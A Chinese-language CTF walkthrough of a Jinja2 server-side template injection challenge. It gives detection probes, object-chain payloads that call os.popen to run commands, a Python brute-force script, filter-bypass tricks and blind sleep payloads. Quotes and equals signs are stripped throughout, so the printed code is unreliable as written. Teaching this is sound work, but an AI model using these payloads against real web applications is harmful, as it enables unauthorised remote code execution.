
最近在Bugku刷到SSTI 0这道题很多新手朋友在群里问我自己第一次遇到的时候也一脸懵。SSTI全称Server-Side Template Injection服务端模板注入是CTF Web方向绕不开的知识点。这道题的设计就是给入门者练手入口看起来像个简单的查询框但里面藏着一整条从模板语法到命令执行的链路。如果你刚接触CTF或者已经会拿现成Payload打但搞不清原理这篇内容应该能帮上忙。我会从探测、利用、绕过到踩坑一步一步拆解顺便分享一些我平时实战中总结的小技巧。1. 题目初探SSTI到底是什么1.1 从“查询框”说起第一次打开题目页面非常简单一个输入框、一个提交按钮提示输入id即可查询到信息。看到这种场景条件反射是测SQL注入结果输入1 or 11页面回复完全不符合预期也没有数据库报错倒是输入一些奇怪符号后返回结果里出现了“Hello”后面跟着原样内容感觉哪里不对劲。这种“原样回显”的场景往往要往模板渲染方向想。Web框架为了渲染动态页面普遍会用到模板引擎。模板引擎本质上是把静态HTML和动态数据拼在一起的工具比如一个欢迎页面模板会写成“Hello, {{ name }}!”后端传入name变量最终渲染成“Hello, 小明!”。但如果开发者直接把用户输入塞进模板字符串再交给模板引擎渲染用户输入的模板语法就会被当成代码执行这就是SSTI。用生活化的类比来说模板引擎就像打印店里的预印空白合同框架负责把变量填进字段。正常情况下用户只能控制“金额”“日期”这些字段内容但如果打印店把整张合同纸包括格式字段都交给客户填写客户就能在合同背面写任何附加条款。SSTI就是这个“附加条款”的入口。1.2 模板语法不只是${}很多教程一上来就扔一堆Payload但不解释为什么{{7*7}}会回显49。模板引擎在渲染时会识别特定标记符内部的表达式并先求值再替换成结果。Jinja2是Python Flask框架默认模板引擎表达式写在{{ ... }}里语句写在{% ... %}里。当你传入{{7*7}}模板引擎先计算7乘以7等于49然后把49输出到HTML里。理解这层逻辑后自然会往下想双花括号里能不能写更复杂的代码能不能读取配置信息能不能调用对象方法、甚至执行系统命令答案都是肯定的。一旦模板引擎把用户输入当作模板代码渲染SSTI的杀伤力就从“算术测试”升级成“任意代码执行”。这也是SSTI在CTF里常作为中高难度题出现的原因。2. 探测与确认别急着上payload2.1 先用几条基础探测语句判断一个点是不是模板注入最好的办法不是直接上大Payload而是先给几个“标记性”输入看哪种引擎的特征语法生效。我常用的五组如下{{7*7}}Jinja2、Twig等引擎会回显49。${7*7}Freemarker、Velocity等引擎的表达式。{{7*7}}Jinja2中字符串乘数字会报错Twig中返回7777777。{7*7}Smarty引擎的写法。% 7*7 %ERBRuby模板引擎的写法。在Bugku这道题上输入{{7*7}}页面直接回显“Hello 49”基本锁定是Python系模板引擎。接着输入{{config}}如果回显一段包含SECRET_KEY的配置信息那几乎可以确认是Flask Jinja2环境。注意一点不要上来就丢执行命令的Payload。先确认引擎类型特别重要因为不同引擎的利用链差异很大拿Jinja2的Payload去打Freemarker成功率很低反而浪费时间。我见过不少新人卡在“为什么我的Payload没反应”最后发现目标根本不是Jinja2而是Smarty。2.2 看回显也要看报错有回显的时候最好办但有些题目会对回显做包装表达式结果藏在“Hello”后面或者被截断。我一般会抓包看完整响应而不是只看浏览器渲染后的页面。浏览器可能把HTML标签渲染掉导致部分输出看不见尤其对引号、尖括号这些字符情况更明显。另一种方式是有意制造报错比如输入{{1/0}}或{{a1}}看返回内容里是否包含Traceback、jinja2.exceptions.UndefinedError等异常信息。报错信息很容易泄露模板引擎和Python版本对后续利用非常有帮助。如果页面完全不返回异常可以在表达式里加入计算耗时较高的操作比如{{ [x for x in range(1000000)] }}根据不同响应时间判断模板是否执行了表达式。2.3 常见误区这不是SQL注入做CTF最忌讳惯性思维。输入框叫id参数叫id不等于后端就是在执行SQL查询。如果一门心思拼SQL注入像id1 and 11--后端很可能直接把整个字符串放进SQL语句但数据库没报错页面也毫无变化于是陷入死循环。我建议初期测试统一走一遍“原样回显型漏洞”的通用流程先试普通字符串看是否原样输出再试HTML标签看是否被解析接着试模板表达式最后才轮到SQL注入和XSS。这套顺序在应急响应里同样适用很多被黑站点的突破口其实不是数据库而是藏在小功能点里的SSTI。3. 从回显到命令执行3.1 对象链的底层逻辑在Jinja2里能执行代码的根本原因在于Python对象模型。模板表达式可以直接访问对象的属性和方法这些属性名字有特殊规律。每个对象都能通过__class__拿到自己的类类的__mro__拿到继承链顺着继承链找到object类再通过object类的__subclasses__拿到当前Python解释器里已加载的全部类。这些类里面有些类的__init__方法所在的模块导入了os、sys这类系统模块。通过__init__.__globals__可以拿到函数所在模块的全局命名空间里面往往躺着os模块。一旦拿到os模块就能调用os.popen执行系统命令。这就像你站在一个房间里先拿钥匙__class__打开房门走到走廊__mro__找到整栋楼的弱电井__subclasses__再从弱电井里找到一个联网设备目标类最后用这个设备的接口去控制所有系统__globals__。新人看不懂对象链就是因为没把这几个环节拆开理解。3.2 一条能用的经典Payload直接贴一条适用于Python3环境的经典Payload{{.__class__.__mro__[1].__subclasses__()}}这条Payload能列出当前解释器中的所有类。但直接输出会非常长页面通常显示不全而且不同Python版本下类顺序不一样。因此实际利用时通常要选一个方便构造的类。Python2里常用class warnings.catch_warningsPython3里常用class os._wrap_close因为后者所在的模块已经导入过os。执行命令的常见格式是{{.__class__.__mro__[1].__subclasses__()[280].__init__.__globals__[os].popen(cat flag).read()}}这里的索引280不是固定的需要现场枚举。我一般会先确认类列表长度用这个表达式{{(.__class__.__mro__[1].__subclasses__()|length)}}如果环境里类总数是几百说明输出会很长那就分段看每次只取一段比如[0:20]这种切片方式来缩小范围。回显有限制的题目里切片格外好用。3.3 写脚本自动找可利用类手动数索引效率太低我在实战里更习惯写一个小脚本自动发请求、提取回显、定位可利用类。脚本思路并不复杂读取目标URL和参数名。发送{{.__class__.__mro__[1].__subclasses__()}}拿到完整类列表文本。用正则从文本中提取每个类的索引和类名。对每个索引构造{{...__init__.__globals__.get(os)}}观察回显是否包含module os。找到后再构造执行cat flag的Payload。给一个简化版参考代码import requests import re url http://your_target/ param id base_payload {{.__class__.__mro__[1].__subclasses__()}} res requests.get(url, params{param: base_payload}).text print(res[:500]) # 这里只是演示实际可能需要处理转义和截断 for i in range(300): p {{.__class__.__mro__[1].__subclasses__()[ str(i) ].__init__.__globals__.get(os)}} r requests.get(url, params{param: p}) if module os in r.text: print(found os at index, i) cmd {{.__class__.__mro__[1].__subclasses__()[ str(i) ].__init__.__globals__[os].popen(cat flag).read()}} print(requests.get(url, params{param: cmd}).text) break用requests自带params传参时大部分特殊字符会被自动编码减少了手动处理转义的麻烦。但如果题目环境对请求长度敏感或者有过滤可能还需要用POST请求或分块拼接来绕过。3.4 读取flag的常见思路拿到命令执行之后不一定是cat flag就能结束。flag可能就在当前目录也可能在根目录文件名还可能带随机字符串。常见思路是先用ls -la看当前目录再用find / -name flag* 2/dev/null全盘搜索。如果命令回显被截断可以分目录读取比如cat /flag、cat flag、cat /home/flag*多试几个路径。有些题目允许直接读文件不需要走os模块比如{{open(flag).read()}}如果这个表达式能用说明目标环境里可以直接访问open函数省去对象链的构造。但多数情况下题目环境不会给你这么直接的入口对象链才是通用解。这里需要强调一个细节我们构造的Payload利用的是某个类的__init__.__globals__[os]而不是在模板里主动import os。因为模板环境本身没有import语句的权限所以必须“借用”一个已经导入过os的模块的全局命名空间。理解这一点就能明白为什么索引不对时会报错而不是怀疑题目是不是有问题。4. 被过滤了怎么办4.1 字符过滤的通用绕过手法入门题通常不做过滤但稍微进阶一点的SSTI会阻断部分关键词比如__class__、os、popen、flag等。遇到过滤时优先考虑绕过而不是换一种注入类型。常见手法有字符串拼接模板会先执行拼接再访问属性例如{{[__class__]}}还可以用Jinja2内置的attr过滤器把属性名作为字符串参数传进去{{|attr(__class__)}}attr过滤器可以绕过直接写点号的过滤规则被很多题目卡住的时候这一招往往直接破局。此外十六进制和Unicode编码也能藏关键词比如__class__可以写成{{[\x5f\x5fclass\x5f\x5f]}}4.2 利用request.args当“白手套”如果过滤规则连__mro__、__subclasses__都干掉我在实战中更推荐用request.args传参。思路是在模板表达式里只写request.args把真正需要的属性名、方法名全部放到URL参数里。例如{{|attr(request.args.a)|attr(request.args.b)}}访问时URL后面加?a__class__b__mro__这样模板里出现的都是request.args没有敏感关键字而URL参数里的字符串有时不会被过滤规则扫描到即使扫描了也可以通过URL编码调整。这种方法在过滤字母数字的场景下特别有用。比如过滤了下划线可以用\x5f这种十六进制表示过滤了中括号可以用|attr替代。把对象链拆分成多个参数慢慢拼接就能绕开绝大部分表层过滤。4.3 无回显与盲打方案页面如果不直接输出表达式结果比如所有输出都被HTML编码或者被统一替换成空白那就要考虑盲SSTI。最常用的是时间盲注构造{{.__class__.__mro__[1].__subclasses__()[index].__init__.__globals__[time].sleep(5)}}如果页面明显延迟5秒说明当前索引对应的类确实可以访问time模块也就说明命令执行链路可用。在此基础上可以进一步外带数据但在CTF练习平台里一般不推荐搭外带接收端一是目标多半不出网二是规则限制多。遇到无回显题目我通常会先试着把表达式结果注入到HTML注释里有些框架会原样保留模板渲染后的注释内容这样就能用view-source看到结果。5. 实战复盘与高频问题5.1 一道入门题的全流程操作把整个过程串一遍假设题目URL是http://target/?idtest页面返回“Hello test”。第一步输入{{7*7}}返回“Hello 49”确认SSTI。第二步输入{{config}}回显SECRET_KEY等配置确认Jinja2环境。第三步输入{{.__class__.__mro__[1].__subclasses__()}}发现输出过长改用|length确认类数量。第四步用脚本遍历索引找到带os的类假设索引是245。第五步构造完整Payload{{.__class__.__mro__[1].__subclasses__()[245].__init__.__globals__[os].popen(cat flag).read()}}拿到flag收工。这个过程每一步都有目的不是单纯背Payload。为什么先确认引擎为什么先列对象链为什么用脚本遍历这套思路在任何SSTI题目里都通用。参数名不一定叫id可能是name、user、search但探测逻辑完全一致。5.2 常见问题速查表我把实际操作中容易踩的坑整理成表格遇到问题可以先对照排查。现象原因处理方式{{7*7}}没回显模板引擎不是Jinja2或输入被编码改用${7*7}、%...%等语法测试返回500错误表达式语法错误或模板引擎直接抛异常检查引号、中括号、索引是否匹配{{.__class__.__mro__...}}被截断输出长度限制先用length确认范围再用切片分段取找不到可利用类Python版本不同索引偏移写脚本遍历或尝试__init__.__globals__的其他模块命令执行后无输出命令错误、权限不足先执行ls、whoami看回显过滤__class__WAF或代码过滤用attr过滤器、字符串拼接、request.args绕过无回显且页面不报错输出被处理尝试时间盲注或注入到HTML注释5.3 我的几点经验最后说点碎片化的经验。拿到SSTI题目我建议先在本机搭一个Flask环境用Vulhub靶机或者自己写一个最小的SSTI漏洞示例把Payload在本地跑通再回目标上试。这样既能快速验证类索引又不怕把目标环境打崩。看别人的Payload时一定要拆开理解每一层属性是做什么的千万不要整套复制。题目一变索引就变过滤就变不理解原理的人只能永远在找可用的现成字符串。还有一个小技巧当页面回显里能显示对象列表时优先找os模块相关类比如os._wrap_close、os.environ这些。找到其中一个后面的命令执行链路就畅通了。如果目标环境是Python2则更多看warnings.catch_warnings这类类对象。CTF练习就是这样多动手、多踩坑、多记录下次遇到SSTI时你会觉得不过如此。